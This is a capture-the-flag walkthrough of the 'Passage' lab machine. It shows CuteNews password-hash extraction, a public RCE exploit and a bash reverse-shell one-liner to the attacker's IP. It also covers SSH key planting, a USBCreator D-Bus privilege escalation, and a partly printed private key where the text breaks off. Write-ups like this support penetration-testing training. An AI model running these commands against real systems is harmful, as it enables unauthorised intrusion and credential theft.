---
search:
  exclude: true
---
# Passage Writeup

![](img/61.png)

## Introduction :

Passage is a Medium Linux box released back in September 2020.

## **Part 1 : Initial Enumeration**

As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB]
    → nmap -vvv -p- 10.10.10.206 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered
    Discovered open port 80/tcp on 10.10.10.206
    Discovered open port 22/tcp on 10.10.10.206
    
    [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB]
    → nmap -sCV -p22,80 10.10.10.206
    Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-27 18:25 CEST
    Nmap scan report for 10.10.10.206
    Host is up (0.47s latency).
    
    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey:
    |   2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA)
    |   256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA)
    |_  256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519)
    80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
    |_http-server-header: Apache/2.4.18 (Ubuntu)
    |_http-title: Passage News
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 24.23 seconds
    
    

## **Part 2 : Getting User Access**

Our nmap scan picked up port 80, and we see that this is a CuteNews instance: 

![](prg/61_001.png)

We don't know the version of cutenews so we're going to use the most up to date RCE exploit we get from searchsploit:
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB]
    → searchsploit cutenews Remote Code
    ---------------------------------- ---------------------------------
     Exploit Title                    |  Path
    ---------------------------------- ---------------------------------
    CuteNews 1.1.1 - 'html.php' Remot | php/webapps/4851.txt
    CuteNews 2.1.2 - 'avatar' Remote  | php/remote/46698.rb
    CuteNews 2.1.2 - Remote Code Exec | php/webapps/48800.py
    ---------------------------------- ---------------------------------
    Shellcodes: No Results
    
    

Let's use **48800.py**
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB/passage]
    → cp $(locate 48800.py) .
    
    [ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB/passage]
    → vim 48800.py
    
    

Looking at it we basically see that it's looking for a webpage at **/CuteNews/cdata/users/lines** :

![](prg/61_002.png)

So we can do this manually:
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/passage]
    → curl http://10.10.10.206/CuteNews/cdata/users/lines
    ?php die('Direct call - access denied'); ?>
    YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTY6InBhdWxAcGFzc2FnZS5odGIiO3M6MTA6InBhdWwtY29sZXMiO319
    ?php die('Direct call - access denied'); ?>
    YToxOntzOjI6ImlkIjthOjE6e2k6MTU5ODgyOTgzMztzOjY6ImVncmU1NSI7fX0=
    ?php die('Direct call - access denied'); ?>
    YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6ImVncmU1NUB0ZXN0LmNvbSI7czo2OiJlZ3JlNTUiO319
    ?php die('Direct call - access denied'); ?>
    YToxOntzOjQ6Im5hbWUiO2E6MTp7czo1OiJhZG1pbiI7YTo4OntzOjI6ImlkIjtzOjEwOiIxNTkyNDgzMDQ3IjtzOjQ6Im5hbWUiO3M6NToiYWRtaW4iO3M6MzoiYWNsIjtzOjE6IjEiO3M6NToiZW1haWwiO3M6MTc6Im5hZGF2QHBhc3NhZ2UuaHRiIjtzOjQ6InBhc3MiO3M6NjQ6IjcxNDRhOGI1MzFjMjdhNjBiNTFkODFhZTE2YmUzYTgxY2VmNzIyZTExYjQzYTI2ZmRlMGNhOTdmOWUxNDg1ZTEiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg3OTg4IjtzOjM6ImJhbiI7czoxOiIwIjtzOjM6ImNudCI7czoxOiIyIjt9fX0=
    ?php die('Direct call - access denied'); ?>
    YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzI4MTtzOjk6InNpZC1tZWllciI7fX0=
    ?php die('Direct call - access denied'); ?>
    YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTc6Im5hZGF2QHBhc3NhZ2UuaHRiIjtzOjU6ImFkbWluIjt9fQ==
    ?php die('Direct call - access denied'); ?>
    YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6ImtpbUBleGFtcGxlLmNvbSI7czo5OiJraW0tc3dpZnQiO319
    ?php die('Direct call - access denied'); ?>
    YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzIzNjtzOjEwOiJwYXVsLWNvbGVzIjt9fQ==
    ?php die('Direct call - access denied'); ?>
    YToxOntzOjQ6Im5hbWUiO2E6MTp7czo5OiJzaWQtbWVpZXIiO2E6OTp7czoyOiJpZCI7czoxMDoiMTU5MjQ4MzI4MSI7czo0OiJuYW1lIjtzOjk6InNpZC1tZWllciI7czozOiJhY2wiO3M6MToiMyI7czo1OiJlbWFpbCI7czoxNToic2lkQGV4YW1wbGUuY29tIjtzOjQ6Im5pY2siO3M6OToiU2lkIE1laWVyIjtzOjQ6InBhc3MiO3M6NjQ6IjRiZGQwYTBiYjQ3ZmM5ZjY2Y2JmMWE4OTgyZmQyZDM0NGQyYWVjMjgzZDFhZmFlYmI0NjUzZWMzOTU0ZGZmODgiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg1NjQ1IjtzOjM6ImJhbiI7czoxOiIwIjtzOjM6ImNudCI7czoxOiIyIjt9fX0=
    ?php die('Direct call - access denied'); ?>
    YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzA0NztzOjU6ImFkbWluIjt9fQ==
    ?php die('Direct call - access denied'); ?>
    YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6InNpZEBleGFtcGxlLmNvbSI7czo5OiJzaWQtbWVpZXIiO319
    ?php die('Direct call - access denied'); ?>
    YToxOntzOjQ6Im5hbWUiO2E6MTp7czoxMDoicGF1bC1jb2xlcyI7YTo5OntzOjI6ImlkIjtzOjEwOiIxNTkyNDgzMjM2IjtzOjQ6Im5hbWUiO3M6MTA6InBhdWwtY29sZXMiO3M6MzoiYWNsIjtzOjE6IjIiO3M6NToiZW1haWwiO3M6MTY6InBhdWxAcGFzc2FnZS5odGIiO3M6NDoibmljayI7czoxMDoiUGF1bCBDb2xlcyI7czo0OiJwYXNzIjtzOjY0OiJlMjZmM2U4NmQxZjgxMDgxMjA3MjNlYmU2OTBlNWQzZDYxNjI4ZjQxMzAwNzZlYzZjYjQzZjE2ZjQ5NzI3M2NkIjtzOjM6Imx0cyI7czoxMDoiMTU5MjQ4NTU1NiI7czozOiJiYW4iO3M6MToiMCI7czozOiJjbnQiO3M6MToiMiI7fX19
    ?php die('Direct call - access denied'); ?>
    YToxOntzOjQ6Im5hbWUiO2E6MTp7czo5OiJraW0tc3dpZnQiO2E6OTp7czoyOiJpZCI7czoxMDoiMTU5MjQ4MzMwOSI7czo0OiJuYW1lIjtzOjk6ImtpbS1zd2lmdCI7czozOiJhY2wiO3M6MToiMyI7czo1OiJlbWFpbCI7czoxNToia2ltQGV4YW1wbGUuY29tIjtzOjQ6Im5pY2siO3M6OToiS2ltIFN3aWZ0IjtzOjQ6InBhc3MiO3M6NjQ6ImY2NjlhNmY2OTFmOThhYjA1NjIzNTZjMGNkNWQ1ZTdkY2RjMjBhMDc5NDFjODZhZGNmY2U5YWYzMDg1ZmJlY2EiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg3MDk2IjtzOjM6ImJhbiI7czoxOiIwIjtzOjM6ImNudCI7czoxOiIzIjt9fX0=
    ?php die('Direct call - access denied'); ?>
    ?php die('Direct call - access denied'); ?>
    ?php die('Direct call - access denied'); ?>
     
    ?php die('Direct call - access denied'); ?>
    YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzMwOTtzOjk6ImtpbS1zd2lmdCI7fX0=
    

we basically get a bunch of base64 strings and some php lines, we don't want the php lines obviously: 
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/passage]
    → curl http://10.10.10.206/CuteNews/cdata/users/lines | grep -v php > stuff.b64
      % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                     Dload  Upload   Total   Spent    Left  Speed
    100  3840  100  3840    0     0   4076      0 --:--:-- --:--:-- --:--:--  4072
    
    [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/passage]
    → cat stuff.b64
    YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTY6InBhdWxAcGFzc2FnZS5odGIiO3M6MTA6InBhdWwtY29sZXMiO319
    YToxOntzOjI6ImlkIjthOjE6e2k6MTU5ODgyOTgzMztzOjY6ImVncmU1NSI7fX0=
    YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6ImVncmU1NUB0ZXN0LmNvbSI7czo2OiJlZ3JlNTUiO319
    YToxOntzOjQ6Im5hbWUiO2E6MTp7czo1OiJhZG1pbiI7YTo4OntzOjI6ImlkIjtzOjEwOiIxNTkyNDgzMDQ3IjtzOjQ6Im5hbWUiO3M6NToiYWRtaW4iO3M6MzoiYWNsIjtzOjE6IjEiO3M6NToiZW1haWwiO3M6MTc6Im5hZGF2QHBhc3NhZ2UuaHRiIjtzOjQ6InBhc3MiO3M6NjQ6IjcxNDRhOGI1MzFjMjdhNjBiNTFkODFhZTE2YmUzYTgxY2VmNzIyZTExYjQzYTI2ZmRlMGNhOTdmOWUxNDg1ZTEiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg3OTg4IjtzOjM6ImJhbiI7czoxOiIwIjtzOjM6ImNudCI7czoxOiIyIjt9fX0=
    YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzI4MTtzOjk6InNpZC1tZWllciI7fX0=
    YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTc6Im5hZGF2QHBhc3NhZ2UuaHRiIjtzOjU6ImFkbWluIjt9fQ==
    YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6ImtpbUBleGFtcGxlLmNvbSI7czo5OiJraW0tc3dpZnQiO319
    YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzIzNjtzOjEwOiJwYXVsLWNvbGVzIjt9fQ==
    YToxOntzOjQ6Im5hbWUiO2E6MTp7czo5OiJzaWQtbWVpZXIiO2E6OTp7czoyOiJpZCI7czoxMDoiMTU5MjQ4MzI4MSI7czo0OiJuYW1lIjtzOjk6InNpZC1tZWllciI7czozOiJhY2wiO3M6MToiMyI7czo1OiJlbWFpbCI7czoxNToic2lkQGV4YW1wbGUuY29tIjtzOjQ6Im5pY2siO3M6OToiU2lkIE1laWVyIjtzOjQ6InBhc3MiO3M6NjQ6IjRiZGQwYTBiYjQ3ZmM5ZjY2Y2JmMWE4OTgyZmQyZDM0NGQyYWVjMjgzZDFhZmFlYmI0NjUzZWMzOTU0ZGZmODgiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg1NjQ1IjtzOjM6ImJhbiI7czoxOiIwIjtzOjM6ImNudCI7czoxOiIyIjt9fX0=
    YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzA0NztzOjU6ImFkbWluIjt9fQ==
    YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6InNpZEBleGFtcGxlLmNvbSI7czo5OiJzaWQtbWVpZXIiO319
    YToxOntzOjQ6Im5hbWUiO2E6MTp7czoxMDoicGF1bC1jb2xlcyI7YTo5OntzOjI6ImlkIjtzOjEwOiIxNTkyNDgzMjM2IjtzOjQ6Im5hbWUiO3M6MTA6InBhdWwtY29sZXMiO3M6MzoiYWNsIjtzOjE6IjIiO3M6NToiZW1haWwiO3M6MTY6InBhdWxAcGFzc2FnZS5odGIiO3M6NDoibmljayI7czoxMDoiUGF1bCBDb2xlcyI7czo0OiJwYXNzIjtzOjY0OiJlMjZmM2U4NmQxZjgxMDgxMjA3MjNlYmU2OTBlNWQzZDYxNjI4ZjQxMzAwNzZlYzZjYjQzZjE2ZjQ5NzI3M2NkIjtzOjM6Imx0cyI7czoxMDoiMTU5MjQ4NTU1NiI7czozOiJiYW4iO3M6MToiMCI7czozOiJjbnQiO3M6MToiMiI7fX19
    YToxOntzOjQ6Im5hbWUiO2E6MTp7czo5OiJraW0tc3dpZnQiO2E6OTp7czoyOiJpZCI7czoxMDoiMTU5MjQ4MzMwOSI7czo0OiJuYW1lIjtzOjk6ImtpbS1zd2lmdCI7czozOiJhY2wiO3M6MToiMyI7czo1OiJlbWFpbCI7czoxNToia2ltQGV4YW1wbGUuY29tIjtzOjQ6Im5pY2siO3M6OToiS2ltIFN3aWZ0IjtzOjQ6InBhc3MiO3M6NjQ6ImY2NjlhNmY2OTFmOThhYjA1NjIzNTZjMGNkNWQ1ZTdkY2RjMjBhMDc5NDFjODZhZGNmY2U5YWYzMDg1ZmJlY2EiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg3MDk2IjtzOjM6ImJhbiI7czoxOiIwIjtzOjM6ImNudCI7czoxOiIzIjt9fX0=
     
    YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzMwOTtzOjk6ImtpbS1zd2lmdCI7fX0=
    
    

Now we simply decode these: 
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/passage]
    → cat stuff.b64 | base64 -d
    a:1:{s:5:"email";a:1:{s:16:"paul@passage.htb";s:10:"paul-coles";}}a:1:{s:2:"id";a:1:{i:1598829833;s:6:"egre55";}}a:1:{s:5:"email";a:1:{s:15:"egre55@test.com";s:6:"egre55";}}a:1:{s:4:"name";a:1:{s:5:"admin";a:8:{s:2:"id";s:10:"1592483047";s:4:"name";s:5:"admin";s:3:"acl";s:1:"1";s:5:"email";s:17:"nadav@passage.htb";s:4:"pass";s:64:"7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1";s:3:"lts";s:10:"1592487988";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}a:1:{s:2:"id";a:1:{i:1592483281;s:9:"sid-meier";}}a:1:{s:5:"email";a:1:{s:17:"nadav@passage.htb";s:5:"admin";}}a:1:{s:5:"email";a:1:{s:15:"kim@example.com";s:9:"kim-swift";}}a:1:{s:2:"id";a:1:{i:1592483236;s:10:"paul-coles";}}a:1:{s:4:"name";a:1:{s:9:"sid-meier";a:9:{s:2:"id";s:10:"1592483281";s:4:"name";s:9:"sid-meier";s:3:"acl";s:1:"3";s:5:"email";s:15:"sid@example.com";s:4:"nick";s:9:"Sid Meier";s:4:"pass";s:64:"4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88";s:3:"lts";s:10:"1592485645";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}a:1:{s:2:"id";a:1:{i:1592483047;s:5:"admin";}}a:1:{s:5:"email";a:1:{s:15:"sid@example.com";s:9:"sid-meier";}}a:1:{s:4:"name";a:1:{s:10:"paul-coles";a:9:{s:2:"id";s:10:"1592483236";s:4:"name";s:10:"paul-coles";s:3:"acl";s:1:"2";s:5:"email";s:16:"paul@passage.htb";s:4:"nick";s:10:"Paul Coles";s:4:"pass";s:64:"e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd";s:3:"lts";s:10:"1592485556";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}a:1:{s:4:"name";a:1:{s:9:"kim-swift";a:9:{s:2:"id";s:10:"1592483309";s:4:"name";s:9:"kim-swift";s:3:"acl";s:1:"3";s:5:"email";s:15:"kim@example.com";s:4:"nick";s:9:"Kim Swift";s:4:"pass";s:64:"f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca";s:3:"lts";s:10:"1592487096";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"3";}}}a:1:{s:4:"name";a:1:{s:6:"egre55";a:11:{s:2:"id";s:10:"1598829833";s:4:"name";s:6:"egre55";s:3:"acl";s:1:"4";s:5:"email";s:15:"egre55@test.com";s:4:"nick";s:6:"egre55";s:4:"pass";s:64:"4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc";s:4:"more";s:60:"YToyOntzOjQ6InNpdGUiO3M6MDoiIjtzOjU6ImFib3V0IjtzOjA6IiI7fQ==";s:3:"lts";s:10:"1598834079";s:3:"ban";s:1:"0";s:6:"avatar";s:26:"avatar_egre55_spwvgujw.php";s:6:"e-hide";s:0:"";}}}a:1:{s:2:"id";a:1:{i:1592483309;s:9:"kim-swift";}}%
    

It looks ugly in one line but we only want the 64 characters long hashes which are basically password hashes, so we save them in another file: 
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/30 ] [~/HTB/passage]
    → echo '7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1' > hashes.txt
    
    [ 10.10.14.11/23 ] [ /dev/pts/30 ] [~/HTB/passage]
    → echo '4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88' >> hashes.txt
    
    [ 10.10.14.11/23 ] [ /dev/pts/30 ] [~/HTB/passage]
    → echo 'e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd' >> hashes.txt
    
    [ 10.10.14.11/23 ] [ /dev/pts/30 ] [~/HTB/passage]
    → echo 'f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca' >> hashes.txt
    
    [ 10.10.14.11/23 ] [ /dev/pts/30 ] [~/HTB/passage]
    → echo '4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc' >> hashes.txt
    
    [ 10.10.14.11/23 ] [ /dev/pts/30 ] [~/HTB/passage]
    → cat hashes.txt
    7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1
    4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88
    e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd
    f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca
    4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc
    

Now that we have our password hashes let's crack them online: 

![](prg/61_003.png)

So right here we have 2 credentials **egre555:egre555** and **paul:atlanta1** , now let's run the python script to get RCE and a reverse shell onto the box:
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/passage]
    → python3 48800.py
    
    
    
               _____     __      _  __                     ___   ___  ___
              / ___/_ __/ /____ / |/ /__ _    _____       |_  | <  / |_  |
             / /__/ // / __/ -_)    / -_) |/|/ (_-       / __/_ / / / __/
             \___/\_,_/\__/\__/_/|_/\__/|__,__/___/     /____(_)_(_)____/
                                    ___  _________
                                   / _ \/ ___/ __/
                                  / , _/ /__/ _/
                                 /_/|_|\___/___/
    
    
                                                                                                                                                 
    
    [->] Usage python3 expoit.py
    
    Enter the URL> http://10.10.10.206
    ================================================================
    Users SHA-256 HASHES TRY CRACKING THEM WITH HASHCAT OR JOHN
    ================================================================
    7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1
    4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88
    e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd
    f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca
    4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc
    ================================================================
    
    =============================
    Registering a users
    =============================
    [+] Registration successful with username: 2Try8myZEO and password: 2Try8myZEO
    
    =======================================================
    Sending Payload
    =======================================================
    signature_key: fe0e5ee6388a2c269ba1a68f5c176505-2Try8myZEO
    signature_dsi: 44e4955df800171626681b1c1c666d3f
    logged in user: 2Try8myZEO
    ============================
    Dropping to a SHELL
    ============================
    
    command > id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    

So here we get RCE as www-data, now let's spawn a reverse bash shell with it: 
    
    
    [terminal 1]
    command > bash -c 'bash -i >& /dev/tcp/10.10.14.11/9001 0>&1'
    
    [terminal 2]
    [ 10.10.14.11/23 ] [ /dev/pts/30 ] [~/HTB/passage]
    → nc -lvnp 9001
    listening on [any] 9001 ...
    connect to [10.10.14.11] from (UNKNOWN) [10.10.10.206] 40140
    bash: cannot set terminal process group (1562): Inappropriate ioctl for device
    bash: no job control in this shell
    www-data@passage:/var/www/html/CuteNews/uploads$ id
    id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    

So as expected we get a reverse shell as www-data, let's first spawn a fully-interactive TTY: 
    
    
    www-data@passage:/var/www/html/CuteNews/uploads$ which python python3 wget curl
    /usr/bin/python
    /usr/bin/python3
    /usr/bin/wget
    /usr/bin/curl
    
    www-data@passage:/var/www/html/CuteNews/uploads$ cd /tmp
    cd /tmp
    
    www-data@passage:/tmp$ python3 -c 'import pty;pty.spawn("/bin/bash")'
    python3 -c 'import pty;pty.spawn("/bin/bash")'
    
    www-data@passage:/tmp$ ^Z
    [1]  + 2211312 suspended  nc -lvnp 9001
    
    [ 10.10.14.11/23 ] [ /dev/pts/30 ] [~/HTB/passage]
    → stty raw -echo ; fg
    [1]  + 2211312 continued  nc -lvnp 9001
                                           export TERM=screen-256color
    
    www-data@passage:/tmp$ export SHELL=bash
    
    www-data@passage:/tmp$ stty rows 50 columns 200
    
    www-data@passage:/tmp$ reset
    
    

And now we have a fully interactive TTY, now let's use **su** to privesc to the user paul since we got his credentials earlier: 
    
    
    www-data@passage:/tmp$ su paul
    Password:
    paul@passage:/tmp$ cd ~
    paul@passage:~$ ls -lash
    total 112K
    4.0K drwxr-x--- 16 paul paul 4.0K Feb  5 06:30 .
    4.0K drwxr-xr-x  4 root root 4.0K Jul 21  2020 ..
       0 ----------  1 paul paul    0 Jul 21  2020 .bash_history
    4.0K -rw-r--r--  1 paul paul  220 Aug 31  2015 .bash_logout
    4.0K -rw-r--r--  1 paul paul 3.7K Jul 21  2020 .bashrc
    4.0K drwx------ 10 paul paul 4.0K Sep  1  2020 .cache
    4.0K drwx------ 14 paul paul 4.0K Aug 24  2020 .config
    4.0K drwxr-xr-x  2 paul paul 4.0K Jul 21  2020 Desktop
    4.0K -rw-r--r--  1 paul paul   25 Aug 24  2020 .dmrc
    4.0K drwxr-xr-x  2 paul paul 4.0K Jul 21  2020 Documents
    4.0K drwxr-xr-x  2 paul paul 4.0K Jul 21  2020 Downloads
     12K -rw-r--r--  1 paul paul 8.8K Apr 20  2016 examples.desktop
    4.0K drwx------  2 paul paul 4.0K Aug 24  2020 .gconf
    4.0K drwx------  3 paul paul 4.0K Feb  5 06:58 .gnupg
    4.0K -rw-------  1 paul paul 1.9K Feb  5 06:30 .ICEauthority
    4.0K drwx------  3 paul paul 4.0K Aug 24  2020 .local
    4.0K drwxr-xr-x  2 paul paul 4.0K Jul 21  2020 Music
    4.0K drwxr-xr-x  2 paul paul 4.0K Jul 21  2020 Pictures
    4.0K -rw-r--r--  1 paul paul  655 May 16  2017 .profile
    4.0K drwxr-xr-x  2 paul paul 4.0K Jul 21  2020 Public
    4.0K drwxr-xr-x  2 paul paul 4.0K Jul 21  2020 .ssh
    4.0K drwxr-xr-x  2 paul paul 4.0K Jul 21  2020 Templates
    4.0K -r--------  1 paul paul   33 Jun 27 10:49 user.txt
    4.0K drwxr-xr-x  2 paul paul 4.0K Jul 21  2020 Videos
    4.0K -rw-------  1 paul paul   52 Feb  5 06:30 .Xauthority
    4.0K -rw-------  1 paul paul 1.3K Feb  5 06:58 .xsession-errors
    4.0K -rw-------  1 paul paul 1.2K Feb  5 04:42 .xsession-errors.old
    paul@passage:~$ cat user.txt
    77XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    
    

And we got the user flag.

## **Part 3 : Getting Root Access**

Now in order to privesc this box we can run linpeas.sh after adding our public ssh key to the box for ease of use:
    
    
    [terminal 1]
    [ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB/passage]
    → cp /home/nothing/HTB/openkeys/linpeas.sh .
    
    [ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB/passage]
    → python3 -m http.server 9090
    Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
    
    [terminal 2]
    paul@passage:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAfhgjcMFy5mO4fwhQyW6vdX5bgTzqZTh9MhCW7+k6Sj nothing@nowhere' >> ~/.ssh/authorized_keys
    
    [ 10.10.14.11/23 ] [ /dev/pts/3 ] [~/HTB/passage]
    → ssh paul@10.10.10.206 -i ~/.ssh/mainpc
    The authenticity of host '10.10.10.206 (10.10.10.206)' can't be established.
    ECDSA key fingerprint is SHA256:oRyj2rNWOCrVh9SCgFGamjppmxqJUlGgvI4JSVG75xg.
    Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
    Warning: Permanently added '10.10.10.206' (ECDSA) to the list of known hosts.
    paul@passage:~$ id
    uid=1001(paul) gid=1001(paul) groups=1001(paul)
    paul@passage:~$ wget http://10.10.14.11:9090/linpeas.sh -O /tmp/peas.sh
    --2021-06-27 11:00:53--  http://10.10.14.11:9090/linpeas.sh
    Connecting to 10.10.14.11:9090... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 341863 (334K) [text/x-sh]
    Saving to: ‘/tmp/peas.sh’
    
    /tmp/peas.sh                       100%[===============================================================>] 333.85K   172KB/s    in 1.9s
    
    2021-06-27 11:00:56 (172 KB/s) - ‘/tmp/peas.sh’ saved [341863/341863]
    
    paul@passage:~$ chmod +x /tmp/peas.sh
    paul@passage:~$ /tmp/peas.sh
    
    

` ![](prg/61_004.png)

Let linpeas.sh run a bit and then when we check the output we stumble upon USBCreator as a DBus Service Object: 

![](prg/61_005.png) ![](prg/61_006.png)

Linpeas.sh clearly tells us that USBCreator is vulnerable so let's investigate, after a bit of googling we find [this](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/) blogpost which explains how to privesc using USBCreator:

![](prg/61_007.png)

Basically we can copy files as the root user, for example the root flag or the root user's private ssh keys, so let's do it:
    
    
    paul@passage:~$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /tmp/id_rsa true
    Error: GDBus.Error:org.freedesktop.DBus.Python.dbus.exceptions.DBusException: com.ubuntu.USBCreator.Error.NotAuthorized
    (According to introspection data, you need to pass 'ssb')
    
    

Obviously we can't do that with the user paul we need to do it with the user called **nadav** , however for some reason as you can see here, the user paul seems to have nadav's public ssh key here so it's safe to assume that the private ssh key that is associated with paul's account is actually nadav's account:
    
    
    paul@passage:~$ cat ~/.ssh/authorized_keys
    ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzXiscFGV3l9T2gvXOkh9w+BpPnhFv5AOPagArgzWDk9uUq7/4v4kuzso/lAvQIg2gYaEHlDdpqd9gCYA7tg76N5RLbroGqA6Po91Q69PQadLsziJnYumbhClgPLGuBj06YKDktI3bo/H3jxYTXY3kfIUKo3WFnoVZiTmvKLDkAlO/+S2tYQa7wMleSR01pP4VExxPW4xDfbLnnp9zOUVBpdCMHl8lRdgogOQuEadRNRwCdIkmMEY5efV3YsYcwBwc6h/ZB4u8xPyH3yFlBNR7JADkn7ZFnrdvTh3OY+kLEr6FuiSyOEWhcPybkM5hxdL9ge9bWreSfNC1122qq49d nadav@passage
    [...]
    
    paul@passage:~/.ssh$ cat id_rsa.pub
    ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzXiscFGV3l9T2gvXOkh9w+BpPnhFv5AOPagArgzWDk9uUq7/4v4kuzso/lAvQIg2gYaEHlDdpqd9gCYA7tg76N5RLbroGqA6Po91Q69PQadLsziJnYumbhClgPLGuBj06YKDktI3bo/H3jxYTXY3kfIUKo3WFnoVZiTmvKLDkAlO/+S2tYQa7wMleSR01pP4VExxPW4xDfbLnnp9zOUVBpdCMHl8lRdgogOQuEadRNRwCdIkmMEY5efV3YsYcwBwc6h/ZB4u8xPyH3yFlBNR7JADkn7ZFnrdvTh3OY+kLEr6FuiSyOEWhcPybkM5hxdL9ge9bWreSfNC1122qq49d nadav@passage
    
    

So let's save the private key locally to ssh as the user nadav: 
    
    
    [terminal 1]
    paul@passage:~/.ssh$ cat id_rsa
    -----BEGIN RSA PRIVATE KEY-----
    MIIEpAIBAAKCAQEAs14rHBRld5fU9oL1zpIfcPgaT54Rb+QDj2oAK4M1g5PblKu/
    +L+JLs7KP5QL0CINoGGhB5Q3aanfYAmAO7YO+jeUS266BqgOj6PdUOvT0GnS7M4i
    Z2Lpm4QpYDyxrgY9OmCg5LSN26Px948WE12N5HyFCqN1hZ6FWYk5ryiw5AJTv/kt
    rWEGu8DJXkkdNaT+FRMcT1uMQ32y556fczlFQaXQjB5fJUXYKIDkLhGnUTUcAnSJ
    JjBGOXn1d2LGHMAcHOof2QeLvMT8h98hZQTUeyQA5J+2RZ63b04dzmPpCxK+hbok
    sjhFoXD8m5DOYcXS/YHvW1q3knzQtddtqquPXQIDAQABAoIBAGwqMHMJdbrt67YQ
